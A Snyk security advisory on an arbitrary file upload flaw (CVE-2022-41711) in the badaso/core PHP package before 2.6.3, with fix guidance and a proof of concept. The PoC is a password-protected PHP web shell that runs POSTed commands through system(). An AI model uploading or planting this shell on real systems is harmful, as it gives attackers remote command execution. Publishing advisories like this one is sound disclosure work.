Arbitrary File Upload Affecting badaso/core package, versions <2.6.3


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.67% (80th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary File Upload vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-BADASOCORE-3063690
  • published26 Oct 2022
  • disclosed26 Oct 2022
  • creditCarlos Bello

Introduced: 26 Oct 2022

CVE-2022-41711  (opens in a new tab)
CWE-434  (opens in a new tab)

How to fix?

Upgrade badaso/core to version 2.6.3 or higher.

Overview

badaso/core is an API and platform builder

Affected versions of this package are vulnerable to Arbitrary File Upload in the uploadImage() function in BadasoUploadImage.vue, which allows attackers to execute arbitrary code by uploading malicious files.

PoC

<?xml version="1.0" standalone="no"?>
<?php
    if($_POST && $_POST['password']==="AGSH635479302H235") {
        echo system($_POST['cmd']);
    }
?>

CVSS Scores

version 3.1